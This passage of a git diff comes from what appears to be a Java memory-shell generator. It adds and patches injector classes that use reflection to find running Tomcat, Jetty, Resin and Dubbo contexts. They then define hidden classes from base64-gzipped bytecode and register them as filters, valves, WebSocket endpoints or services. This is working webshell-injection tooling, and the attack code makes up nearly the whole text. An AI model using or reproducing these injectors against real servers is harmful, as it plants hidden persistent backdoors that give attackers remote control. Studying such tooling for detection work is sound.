+                    String.class,
+                    String.class,
+                    java.net.URL.class
+            );
+            definePackage.setAccessible(true);
+            definePackage.invoke(classLoader, packageName, null, null, null, null, null, null, null);
+        } catch (Exception ignored) {
+        }
+    }
+
+    public String toString() {
+        return msg;
+    }
+
+    private void registerInJavassistClassPool(ClassLoader classLoader, String className, byte[] classBytes) {
+        try {
+            ClassPool classPool = ClassGenerator.getClassPool(classLoader);
+            try {
+                classPool.getClass().getMethod("makeClassIfNew", InputStream.class).invoke(classPool, new ByteArrayInputStream(classBytes));
+            } catch (NoSuchMethodException e) {
+                classPool.getClass().getMethod("makeClass", InputStream.class).invoke(classPool, new ByteArrayInputStream(classBytes));
+            }
+        } catch (Throwable ignored) {
+        }
+        insertByteArrayClassPath(className, classLoader, classBytes);
+    }
+
+    private void insertByteArrayClassPath(String className, ClassLoader classLoader, byte[] classBytes) {
+        try {
+            Class<?> classPoolClass = Class.forName("javassist.ClassPool");
+            Class<?> classPathClass = Class.forName("javassist.ClassPath");
+            Class<?> byteArrayClassPathClass = Class.forName("javassist.ByteArrayClassPath");
+            insertClassPath(classPoolClass.getMethod("getDefault").invoke(null), classPoolClass, classPathClass, byteArrayClassPathClass, className, classBytes);
+            insertClassPath(ClassGenerator.getClassPool(classLoader), classPoolClass, classPathClass, byteArrayClassPathClass, className, classBytes);
+        } catch (Throwable ignored) {
+        }
+    }
+
+    private void insertClassPath(Object classPool, Class<?> classPoolClass, Class<?> classPathClass, Class<?> byteArrayClassPathClass, String className, byte[] classBytes) throws Exception {
+        if (classPoolClass.getMethod("find", String.class).invoke(classPool, className) == null) {
+            classPoolClass.getMethod("insertClassPath", classPathClass).invoke(classPool, byteArrayClassPathClass.getConstructor(String.class, byte[].class).newInstance(className, classBytes));
+        }
+    }
+
+    public static byte[] decodeBase64(String str) throws Exception {
+        return Base64.getDecoder().decode(str);
+    }
+
+    public static byte[] gzipDecompress(byte[] bArr) throws IOException {
+        try (ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
+             GZIPInputStream gZIPInputStream = new GZIPInputStream(new ByteArrayInputStream(bArr))) {
+            byte[] bArr2 = new byte[4096];
+            int i;
+            while ((i = gZIPInputStream.read(bArr2)) > 0) {
+                byteArrayOutputStream.write(bArr2, 0, i);
+            }
+            return byteArrayOutputStream.toByteArray();
+        }
+    }
+
+    public String registerService() throws Exception {
+        String strNormalizePath = normalizePath(getUrlPattern());
+        if (strNormalizePath.isEmpty()) {
+            throw new IllegalArgumentException("path must not be empty");
+        }
+        if (!DYNAMIC_SERVICES.containsKey(strNormalizePath) && !isPathRegisteredInFramework(strNormalizePath)) {
+            Class<?> shell = loadClass(getHelperBase64String());
+            Class<?> shell2 = loadClass(getBase64String());
+            validateServiceTypes(shell, shell2);
+            ServiceConfig<?> serviceConfigCreateServiceConfig = createServiceConfig(strNormalizePath, shell, instantiate(shell2));
+            if (DYNAMIC_SERVICES.putIfAbsent(strNormalizePath, serviceConfigCreateServiceConfig) != null) {
+                return resolveServiceAddresses(strNormalizePath);
+            }
+            try {
+                serviceConfigCreateServiceConfig.export();
+                return resolveServiceAddresses(strNormalizePath);
+            } catch (RuntimeException e) {
+                DYNAMIC_SERVICES.remove(strNormalizePath, serviceConfigCreateServiceConfig);
+                throw e;
+            }
+        }
+        return resolveServiceAddresses(strNormalizePath);
+    }
+
+    private boolean isPathRegisteredInFramework(String str) {
+        try {
+            for (Object obj : getRegisteredServices()) {
+                if (str.equals(obj.getClass().getMethod("getPath").invoke(obj))) {
+                    return true;
+                }
+            }
+            return false;
+        } catch (Exception e) {
+            return false;
+        }
+    }
+
+    private Collection<?> getRegisteredServices() {
+        try {
+            Object configManager = resolveConfigManager();
+            return toList(invokeNoArgs(configManager, "getServices"));
+        } catch (Exception e) {
+            try {
+                Object objInvoke = ApplicationModel.class.getMethod("defaultModel").invoke(null);
+                Object objInvoke2 = objInvoke.getClass().getMethod("getDefaultModule").invoke(objInvoke);
+                Object objInvoke3 = objInvoke2.getClass().getMethod("getConfigManager").invoke(objInvoke2);
+                return toList(invokeNoArgs(objInvoke3, "getServices"));
+            } catch (Exception e2) {
+                return new ArrayList<>();
+            }
+        }
+    }
+
+    private String normalizePath(String str) {
+        if (str == null) {
+            return "";
+        }
+        String strTrim = str.trim();
+        while (true) {
+            String str2 = strTrim;
+            if (!str2.startsWith("/")) {
+                return str2;
+            }
+            strTrim = str2.substring(1);
+        }
+    }
+
+    private void validateServiceTypes(Class<?> cls, Class<?> cls2) {
+        if (!cls.isInterface()) {
+            throw new IllegalArgumentException("not an interface: " + cls.getName());
+        }
+        if (cls2.isInterface() || Modifier.isAbstract(cls2.getModifiers())) {
+            throw new IllegalArgumentException("implementation class is not instantiable: " + cls2.getName());
+        }
+        if (!cls.isAssignableFrom(cls2)) {
+            throw new IllegalArgumentException(cls2.getName() + " does not implement " + cls.getName());
+        }
+    }
+
+    private Object instantiate(Class<?> cls) {
+        try {
+            Constructor<?> declaredConstructor = cls.getDeclaredConstructor();
+            declaredConstructor.setAccessible(true);
+            return declaredConstructor.newInstance();
+        } catch (Exception e) {
+            throw new IllegalArgumentException("failed to instantiate " + cls.getName(), e);
+        }
+    }
+
+    private ServiceConfig<Object> createServiceConfig(String str, Class<?> cls, Object obj) {
+        Object configManager = resolveConfigManager();
+        ProviderConfig providerConfigResolveDefaultProvider = resolveDefaultProvider(configManager);
+        ProviderConfig providerConfigSanitizeProviderConfig = sanitizeProviderConfig(providerConfigResolveDefaultProvider);
+        ServiceConfig<Object> serviceConfig = new ServiceConfig<>();
+        serviceConfig.setInterface(cls);
+        serviceConfig.setRef(obj);
+        serviceConfig.setPath(str);
+        serviceConfig.setProxy("jdk");
+        if (providerConfigSanitizeProviderConfig != null) {
+            serviceConfig.setProvider(providerConfigSanitizeProviderConfig);
+        }
+        ApplicationConfig applicationConfig = castApplicationConfig(extractOptionalValue(invokeNoArgs(configManager, "getApplication")));
+        if (applicationConfig != null) {
+            serviceConfig.setApplication(applicationConfig);
+        }
+        String strResolveConfiguredVersion = resolveConfiguredVersion(providerConfigResolveDefaultProvider);
+        if (strResolveConfiguredVersion != null) {
+            serviceConfig.setVersion(strResolveConfiguredVersion);
+        }
+        serviceConfig.setProtocols(resolveConfiguredProtocols(providerConfigResolveDefaultProvider, configManager));
+        serviceConfig.setRegistries(resolveRegistriesForExport(castRegistries(toList(invokeNoArgs(configManager, "getDefaultRegistries"))), castRegistries(toList(invokeNoArgs(configManager, "getRegistries")))));
+        return serviceConfig;
+    }
+
+    private ProviderConfig resolveDefaultProvider(Object obj) {
+        ProviderConfig providerConfigCastProviderConfig = castProviderConfig(extractOptionalValue(invokeNoArgs(obj, "getDefaultProvider")));
+        if (providerConfigCastProviderConfig != null) {
+            return providerConfigCastProviderConfig;
+        }
+        Object objInvokeNoArgs = invokeNoArgs(obj, "getDefaultModule");
+        if (objInvokeNoArgs == null) {
+            objInvokeNoArgs = invokeNoArgs(invokeStaticNoArgs(ApplicationModel.class, "defaultModel"), "getDefaultModule");
+        }
+        Object objInvokeNoArgs2 = invokeNoArgs(objInvokeNoArgs, "getConfigManager");
+        ProviderConfig providerConfigCastProviderConfig2 = castProviderConfig(extractOptionalValue(invokeNoArgs(objInvokeNoArgs2, "getDefaultProvider")));
+        return providerConfigCastProviderConfig2 != null ? providerConfigCastProviderConfig2 : castProviderConfig(firstElement(toList(invokeNoArgs(objInvokeNoArgs2, "getProviders"))));
+    }
+
+    private ProviderConfig sanitizeProviderConfig(ProviderConfig providerConfig) {
+        if (providerConfig == null) {
+            return null;
+        }
+        List registries = providerConfig.getRegistries();
+        if (registries == null || filterValidRegistries(registries).size() == registries.size()) {
+            return providerConfig;
+        }
+        return null;
+    }
+
+    private List<RegistryConfig> filterValidRegistries(Collection<RegistryConfig> collection) {
+        if (collection == null) {
+            return new ArrayList<>();
+        }
+        return collection.stream()
+                .filter(registryConfig -> registryConfig != null && registryConfig.isValid())
+                .collect(Collectors.toList());
+    }
+
+    private List<RegistryConfig> resolveRegistriesForExport(Collection<RegistryConfig> collection, Collection<RegistryConfig> collection2) {
+        List<RegistryConfig> listFilterValidRegistries = filterValidRegistries(collection);
+        if (!listFilterValidRegistries.isEmpty()) {
+            return listFilterValidRegistries;
+        }
+        List<RegistryConfig> listFilterValidRegistries2 = filterValidRegistries(collection2);
+        return !listFilterValidRegistries2.isEmpty() ? listFilterValidRegistries2 : Collections.singletonList(new RegistryConfig("N/A"));
+    }
+
+    private String resolveConfiguredVersion(Object obj) {
+        return stringValue(invokeNoArgs(obj, "getVersion"), null);
+    }
+
+    private List<ProtocolConfig> resolveConfiguredProtocols(ProviderConfig providerConfig, Object configManager) {
+        return resolveConfiguredProtocols(providerConfig, configManager, getRegisteredServices());
+    }
+
+    private List<ProtocolConfig> resolveConfiguredProtocols(ProviderConfig providerConfig, Object configManager, Collection<?> collection) {
+        return mergeProtocols(mergeProtocols(mergeProtocols(providerConfig == null ? null : providerConfig.getProtocols(), castProtocols(toList(invokeNoArgs(configManager, "getDefaultProtocols")))), castProtocols(toList(invokeNoArgs(configManager, "getProtocols")))), collectProtocolsFromServices(collection));
+    }
+
+    private List<ProtocolConfig> collectProtocolsFromServices(Collection<?> collection) {
+        List<ProtocolConfig> arrayList = new ArrayList<>();
+        if (collection != null) {
+            try {
+                for (Object service : collection) {
+                    try {
+                        arrayList.addAll(castProtocols(toList(invokeNoArgs(service, "getProtocols"))));
+                    } catch (Exception e) {
+                    }
+                }
+            } catch (Exception e2) {
+            }
+        }
+        try {
+            for (Object exportedProvider : getExportedProviders()) {
+                try {
+                    Object objInvokeNoArgs = invokeNoArgs(exportedProvider, "getServiceConfig");
+                    if (objInvokeNoArgs != null) {
+                        arrayList.addAll(castProtocols(toList(invokeNoArgs(objInvokeNoArgs, "getProtocols"))));
+                    }
+                } catch (Exception e3) {
+                }
+            }
+        } catch (Exception e4) {
+        }
+        return arrayList;
+    }
+
+    private Collection<?> getExportedProviders() {
+        try {
+            Object objInvoke = ApplicationModel.class.getMethod("getServiceRepository").invoke(null);
+            return (Collection) objInvoke.getClass().getMethod("getExportedServices").invoke(objInvoke);
+        } catch (Exception e) {
+            try {
+                Object objInvoke2 = ApplicationModel.class.getMethod("defaultModel").invoke(null);
+                Object objInvoke3 = objInvoke2.getClass().getMethod("getDefaultModule").invoke(objInvoke2);
+                Object objInvoke4 = objInvoke3.getClass().getMethod("getServiceRepository").invoke(objInvoke3);
+                return (Collection) objInvoke4.getClass().getMethod("getExportedServices").invoke(objInvoke4);
+            } catch (Exception e2) {
+                return new ArrayList<>();
+            }
+        }
+    }
+
+    private String resolveServiceAddresses(String str) {
+        String strNormalizePath = normalizePath(str);
+        Object objFindRegisteredService = DYNAMIC_SERVICES.get(strNormalizePath);
+        if (objFindRegisteredService == null) {
+            objFindRegisteredService = findRegisteredService(strNormalizePath);
+        }
+        if (objFindRegisteredService == null) {
+            return strNormalizePath;
+        }
+        List<?> listExtractExportedUrls = extractExportedUrls(objFindRegisteredService);
+        if (!listExtractExportedUrls.isEmpty()) {
+            return formatUrls(listExtractExportedUrls);
+        }
+        List<?> listResolveProtocols = resolveProtocols(objFindRegisteredService);
+        if (listResolveProtocols.isEmpty()) {
+            return strNormalizePath;
+        }
+        return formatProtocolAddresses(listResolveProtocols, strNormalizePath);
+    }
+
+    private Object findRegisteredService(String str) {
+        for (Object obj : getRegisteredServices()) {
+            if (str.equals(normalizePath(stringValue(invokeNoArgs(obj, "getPath"), "")))) {
+                return obj;
+            }
+        }
+        return null;
+    }
+
+    private List<?> extractExportedUrls(Object obj) {
+        List<?> list = toList(invokeNoArgs(obj, "getExportedUrls"));
+        if (!list.isEmpty()) {
+            return list;
+        }
+        List<?> list2 = toList(getFieldValue(obj, "exporters"));
+        if (list2.isEmpty()) {
+            return new ArrayList<>();
+        }
+        List<Object> arrayList = new ArrayList<>();
+        for (Object exporter : list2) {
+            Object objInvokeNoArgs = invokeNoArgs(invokeNoArgs(exporter, "getInvoker"), "getUrl");
+            if (objInvokeNoArgs != null) {
+                arrayList.add(objInvokeNoArgs);
+            }
+        }
+        return arrayList;
+    }
+
+    private List<?> resolveProtocols(Object obj) {
+        List<?> list = toList(invokeNoArgs(obj, "getProtocols"));
+        Object objInvokeNoArgs = invokeNoArgs(obj, "getProvider");
+        List<ProtocolConfig> listResolveConfiguredProtocols = resolveConfiguredProtocols(objInvokeNoArgs instanceof ProviderConfig ? (ProviderConfig) objInvokeNoArgs : null, resolveConfigManager());
+        return list.isEmpty() ? listResolveConfiguredProtocols : mergeProtocols(castProtocols(list), listResolveConfiguredProtocols);
+    }
+
+    private Object invokeNoArgs(Object obj, String str) {
+        if (obj == null) {
+            return null;
+        }
+        try {
+            return obj.getClass().getMethod(str).invoke(obj);
+        } catch (Exception e) {
+            return null;
+        }
+    }
+
+    private Object invokeStaticNoArgs(Class<?> cls, String str) {
+        try {
+            return cls.getMethod(str).invoke(null);
+        } catch (Exception e) {
+            return null;
+        }
+    }
+
+    private Object getFieldValue(Object obj, String str) {
+        if (obj == null) {
+            return null;
+        }
+        Class<?> superclass = obj.getClass();
+        while (true) {
+            Class<?> cls = superclass;
+            if (cls == null) {
+                return null;
+            }
+            try {
+                Field declaredField = cls.getDeclaredField(str);
+                declaredField.setAccessible(true);
+                return declaredField.get(obj);
+            } catch (Exception e) {
+                superclass = cls.getSuperclass();
+            }
+        }
+    }
+
+    private List<?> toList(Object obj) {
+        Object value = extractOptionalValue(obj);
+        if (value instanceof Collection) {
+            return new ArrayList<>((Collection<?>) value);
+        }
+        if (value instanceof Map) {
+            return new ArrayList<>(((Map<?, ?>) value).values());
+        }
+        return new ArrayList<>();
+    }
+
+    private Object extractOptionalValue(Object obj) {
+        if (obj instanceof Optional) {
+            return ((Optional<?>) obj).orElse(null);
+        }
+        return obj;
+    }
+
+    private Object firstElement(List<?> list) {
+        if (list.isEmpty()) {
+            return null;
+        }
+        return list.get(0);
+    }
+
+    private ProviderConfig castProviderConfig(Object obj) {
+        if (obj instanceof ProviderConfig) {
+            return (ProviderConfig) obj;
+        }
+        return null;
+    }
+
+    private ApplicationConfig castApplicationConfig(Object obj) {
+        if (obj instanceof ApplicationConfig) {
+            return (ApplicationConfig) obj;
+        }
+        return null;
+    }
+
+    private List<RegistryConfig> castRegistries(List<?> list) {
+        return list.stream()
+                .filter(RegistryConfig.class::isInstance)
+                .map(RegistryConfig.class::cast)
+                .collect(Collectors.toList());
+    }
+
+    private Object resolveConfigManager() {
+        Object objInvokeStaticNoArgs = invokeStaticNoArgs(ApplicationModel.class, "getConfigManager");
+        if (objInvokeStaticNoArgs != null) {
+            return objInvokeStaticNoArgs;
+        }
+        Object objInvokeStaticNoArgs2 = invokeStaticNoArgs(ApplicationModel.class, "defaultModel");
+        Object objInvokeNoArgs = invokeNoArgs(objInvokeStaticNoArgs2, "getDefaultModule");
+        return invokeNoArgs(objInvokeNoArgs, "getConfigManager");
+    }
+
+    private String formatUrls(List<?> list) {
+        return list.stream()
+                .map(this::formatUrl)
+                .collect(Collectors.joining(", "));
+    }
+
+    private String formatProtocolAddresses(List<?> list, String str) {
+        return list.stream()
+                .map(obj -> formatProtocolAddress(obj, str))
+                .collect(Collectors.joining(", "));
+    }
+
+    private String formatUrl(Object obj) {
+        String strStringValue = stringValue(invokeNoArgs(obj, "getProtocol"), "dubbo");
+        String strNormalizePath = normalizePath(stringValue(invokeNoArgs(obj, "getPath"), ""));
+        Integer numIntegerValue = integerValue(invokeNoArgs(obj, "getPort"));
+        return (numIntegerValue == null || numIntegerValue.intValue() <= 0) ? String.format("%s://%s/%s", strStringValue, DISPLAY_HOST, strNormalizePath) : String.format("%s://%s:%d/%s", strStringValue, DISPLAY_HOST, numIntegerValue, strNormalizePath);
+    }
+
+    private String formatProtocolAddress(Object obj, String str) {
+        String strStringValue = stringValue(invokeNoArgs(obj, "getName"), "dubbo");
+        Integer numIntegerValue = integerValue(invokeNoArgs(obj, "getPort"));
+        return (numIntegerValue == null || numIntegerValue.intValue() <= 0) ? String.format("%s://%s/%s", strStringValue, DISPLAY_HOST, str) : String.format("%s://%s:%d/%s", strStringValue, DISPLAY_HOST, numIntegerValue, str);
+    }
+
+    private String stringValue(Object obj, String str) {
+        return (!(obj instanceof String) || ((String) obj).isEmpty()) ? str : (String) obj;
+    }
+
+    private Integer integerValue(Object obj) {
+        if (obj instanceof Number) {
+            return Integer.valueOf(((Number) obj).intValue());
+        }
+        return null;
+    }
+
+    private List<ProtocolConfig> castProtocols(List<?> list) {
+        return list.stream()
+                .filter(ProtocolConfig.class::isInstance)
+                .map(ProtocolConfig.class::cast)
+                .collect(Collectors.toList());
+    }
+
+    private List<ProtocolConfig> mergeProtocols(Collection<ProtocolConfig> collection, Collection<ProtocolConfig> collection2) {
+        LinkedHashMap<String, ProtocolConfig> linkedHashMap = new LinkedHashMap<>();
+        addProtocols(linkedHashMap, collection);
+        addProtocols(linkedHashMap, collection2);
+        return new ArrayList<>(linkedHashMap.values());
+    }
+
+    private void addProtocols(Map<String, ProtocolConfig> map, Collection<ProtocolConfig> collection) {
+        if (collection == null) {
+            return;
+        }
+        for (ProtocolConfig protocolConfig : collection) {
+            if (protocolConfig != null) {
+                map.put(protocolKey(protocolConfig), protocolConfig);
+            }
+        }
+    }
+
+    private String protocolKey(ProtocolConfig protocolConfig) {
+        return String.valueOf(protocolConfig.getName()) + "|" + String.valueOf(protocolConfig.getHost()) + "|" + String.valueOf(protocolConfig.getPort()) + "|" + String.valueOf(protocolConfig.getServer()) + "|" + String.valueOf(protocolConfig.getId());
+    }
+
+    private String getErrorMessage(Throwable th) {
+        try (ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
+             PrintStream printStream = new PrintStream(byteArrayOutputStream)) {
+            th.printStackTrace(printStream);
+            return byteArrayOutputStream.toString();
+        } catch (IOException e) {
+            return String.valueOf(th);
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java

@@ -121,10 +121,10 @@ public class JettyFilterInjector {
 
         Object[] mappings = (Object[]) invokeMethod(servletHandler, "getFilterMappings");
         Object[] newMappings = null;
-        int length = Array.getLength(mappings);
+        if (mappings == null || Array.getLength(mappings) == 0) {
-        if (mappings == null || length == 0) {
             newMappings = (Object[]) Array.newInstance(filterMappingClass, 1);
         } else {
+            int length = Array.getLength(mappings);
             newMappings = (Object[]) Array.newInstance(filterMappingClass, length + 1);
             System.arraycopy(mappings, 0, newMappings, 1, length);
         }

generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java

@@ -8,7 +8,10 @@ import java.lang.reflect.Array;
 import java.lang.reflect.Field;
 import java.lang.reflect.InvocationTargetException;
 import java.lang.reflect.Method;
-import java.util.*;
+import java.util.EventListener;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Set;
 import java.util.zip.GZIPInputStream;
 
 /**

generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java

@@ -5,9 +5,7 @@ import java.io.ByteArrayOutputStream;
 import java.io.IOException;
 import java.io.PrintStream;
 import java.lang.reflect.*;
-import java.util.ArrayList;
 import java.util.HashSet;
-import java.util.List;
 import java.util.Set;
 import java.util.zip.GZIPInputStream;
 

generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterChainAgentInjector.java

@@ -14,9 +14,11 @@ import java.util.zip.GZIPInputStream;
  * @since 2025/3/26
  */
 public class ResinFilterChainAgentInjector implements ClassFileTransformer {
-    private static final String TARGET_CLASS = "com/caucho/server/dispatch/FilterFilterChain";
     private static final String TARGET_METHOD_NAME = "doFilter";
-
+    private static final String[] TARGET_CLASSES = new String[]{
+            "com/caucho/server/http/FilterChainFilter",
+            "com/caucho/server/dispatch/FilterFilterChain",
+    };
     public static String getClassName() {
         return "{{advisorName}}";
     }
@@ -38,17 +40,20 @@ public class ResinFilterChainAgentInjector implements ClassFileTransformer {
         inst.addTransformer(new ResinFilterChainAgentInjector(), true);
         for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
             String name = allLoadedClass.getName();
-            if (TARGET_CLASS.replace("/", ".").equals(name)) {
+            for (String targetClass : TARGET_CLASSES) {
+                if (targetClass.replace("/", ".").equals(name)) {
                     inst.retransformClasses(allLoadedClass);
                 }
             }
         }
+    }
 
     @Override
     @SuppressWarnings("all")
     public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
                             ProtectionDomain protectionDomain, byte[] bytes) {
-        if (TARGET_CLASS.equals(className)) {
+        for (String targetClass : TARGET_CLASSES) {
+            if (className.equals(targetClass)) {
                 defineTargetClass(loader);
                 try {
                     ClassReader cr = new ClassReader(bytes);
@@ -60,12 +65,13 @@ public class ResinFilterChainAgentInjector implements ClassFileTransformer {
                     };
                     ClassVisitor cv = getClassVisitor(cw);
                     cr.accept(cv, ClassReader.EXPAND_FRAMES);
-                System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
+                    System.out.println("MemShell Agent is working at " + targetClass.replace("/", ".") + "." + TARGET_METHOD_NAME);
                     return cw.toByteArray();
                 } catch (Exception e) {
                     e.printStackTrace();
                 }
             }
+        }
         return bytes;
     }
 

generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterInjector.java

@@ -6,7 +6,10 @@ import java.io.IOException;
 import java.io.PrintStream;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
-import java.util.*;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
 import java.util.zip.GZIPInputStream;
 
 /**

generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinListenerInjector.java

@@ -6,7 +6,6 @@ import java.io.IOException;
 import java.io.PrintStream;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
-import java.util.Arrays;
 import java.util.HashSet;
 import java.util.List;
 import java.util.Set;

generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinServletInjector.java

@@ -6,7 +6,9 @@ import java.io.IOException;
 import java.io.PrintStream;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
-import java.util.*;
+import java.util.HashSet;
+import java.util.Map;
+import java.util.Set;
 import java.util.zip.GZIPInputStream;
 
 /**

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketByPassInjector.java

@@ -0,0 +1,286 @@
+package com.reajason.javaweb.memshell.injector.tomcat;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.PrintStream;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.*;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * @author ReaJason
+ * @since 2026/1/13
+ */
+public class TomcatWebSocketByPassInjector {
+
+    private static String msg = "";
+    private static boolean ok = false;
+
+    public String getUrlPattern() {
+        return "{{urlPattern}}";
+    }
+
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() {
+        return "{{base64Str}}";
+    }
+
+    public String getHelperBase64String() {
+        return "{{helperBase64String}}";
+    }
+
+    public TomcatWebSocketByPassInjector() {
+        if (ok) {
+            return;
+        }
+        Set<Object> contexts = null;
+        try {
+            contexts = getContext();
+        } catch (Throwable throwable) {
+            msg += "context error: " + getErrorMessage(throwable);
+        }
+        if (contexts == null || contexts.isEmpty()) {
+            msg += "context not found";
+        } else {
+            for (Object context : contexts) {
+                try {
+                    msg += ("context: [" + getContextRoot(context) + "] ");
+                    Object shell = getShell(context);
+                    inject(context, shell);
+                    msg += "[" + getUrlPattern() + "] ready\n";
+                } catch (Throwable e) {
+                    msg += "failed " + getErrorMessage(e) + "\n";
+                }
+            }
+        }
+        ok = true;
+        System.out.println(msg);
+    }
+
+    public Set<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<Object>();
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
+        for (Thread thread : threads) {
+            String threadName = thread.getName();
+            if (threadName.contains("ContainerBackgroundProcessor")) {
+                Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
+                for (Object value : childrenMap.values()) {
+                    Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
+                    contexts.addAll(children.values());
+                }
+            } else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
+                try {
+                    Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
+                    Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
+                    Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
+                    for (Object value : childrenMap.values()) {
+                        Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
+                        contexts.addAll(children.values());
+                    }
+                } catch (Exception ignored) {
+                }
+            } else if (thread.getContextClassLoader() != null) {
+                String name = thread.getContextClassLoader().getClass().getSimpleName();
+                if (name.matches(".+WebappClassLoader")) {
+                    Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
+                    // need WebResourceRoot not DirContext
+                    if (resources != null && resources.getClass().getName().endsWith("Root")) {
+                        Object context = getFieldValue(resources, "context");
+                        contexts.add(context);
+                    }
+                }
+            }
+        }
+        return contexts;
+    }
+
+    @SuppressWarnings("all")
+    private String getContextRoot(Object context) {
+        String r = null;
+        try {
+            r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
+        } catch (Exception ignored) {
+        }
+        String c = context.getClass().getName();
+        if (r == null) {
+            return c;
+        }
+        if (r.isEmpty()) {
+            return c + "(/)";
+        }
+        return c + "(" + r + ")";
+    }
+
+    private ClassLoader getWebAppClassLoader(Object context) {
+        try {
+            return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
+        } catch (Exception e) {
+            Object loader = invokeMethod(context, "getLoader", null, null);
+            return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
+        }
+    }
+
+    @SuppressWarnings("all")
+    private Object getShell(Object context) throws Exception {
+        ClassLoader classLoader = getWebAppClassLoader(context);
+        Class<?> clazz = null;
+        try {
+            clazz = classLoader.loadClass(getClassName());
+        } catch (Exception e) {
+            clazz = defineShell(classLoader, getBase64String());
+        }
+        msg += "[" + classLoader.getClass().getName() + "] ";
+        return clazz.newInstance();
+    }
+
+    private Class<?> defineShell(ClassLoader classLoader, String base64) throws Exception {
+        byte[] clazzByte = gzipDecompress(decodeBase64(base64));
+        Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+        defineClass.setAccessible(true);
+        return ((Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length));
+    }
+
+
+    @SuppressWarnings("unchecked")
+    private void inject(Object context, Object obj) throws Exception {
+        Object servletContext = invokeMethod(context, "getServletContext", null, null);
+        Object container = invokeMethod(servletContext, "getAttribute", new Class[]{String.class}, new Object[]{"javax.websocket.server.ServerContainer"});
+        if (container == null) {
+            container = invokeMethod(servletContext, "getAttribute", new Class[]{String.class}, new Object[]{"jakarta.websocket.server.ServerContainer"});
+        }
+
+        if (container == null) {
+            throw new RuntimeException("container is null");
+        }
+
+        if (invokeMethod(container, "findMapping", new Class[]{String.class}, new Object[]{getUrlPattern()}) != null) {
+            return;
+        }
+
+        Object valve = defineShell(context.getClass().getClassLoader(), getHelperBase64String()).newInstance();
+        Object pipeline = invokeMethod(context, "getPipeline", null, null);
+        Class valveClass = context.getClass().getClassLoader().loadClass("org.apache.catalina.Valve");
+        invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
+
+        ClassLoader contextClassLoader = context.getClass().getClassLoader();
+        Class<?> serverEndpointConfigClass;
+        Class<?> builderClass;
+        try {
+            serverEndpointConfigClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig");
+            builderClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig$Builder");
+        } catch (ClassNotFoundException e) {
+            serverEndpointConfigClass = contextClassLoader.loadClass("jakarta.websocket.server.ServerEndpointConfig");
+            builderClass = contextClassLoader.loadClass("jakarta.websocket.server.ServerEndpointConfig$Builder");
+        }
+        Constructor<?> constructor = builderClass.getDeclaredConstructor(Class.class, String.class);
+        constructor.setAccessible(true);
+        Object o1 = constructor.newInstance(obj.getClass(), getUrlPattern());
+        Object endpointConfig = invokeMethod(o1, "build", null, null);
+
+        invokeMethod(container, "setDefaultMaxTextMessageBufferSize", new Class[]{int.class}, new Object[]{52428800});
+        invokeMethod(container, "setDefaultMaxBinaryMessageBufferSize", new Class[]{int.class}, new Object[]{52428800});
+        invokeMethod(container, "addEndpoint", new Class[]{serverEndpointConfigClass}, new Object[]{endpointConfig});
+    }
+
+    @Override
+    public String toString() {
+        return msg;
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] decodeBase64(String base64Str) throws Exception {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        GZIPInputStream gzipInputStream = null;
+        try {
+            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
+            byte[] buffer = new byte[4096];
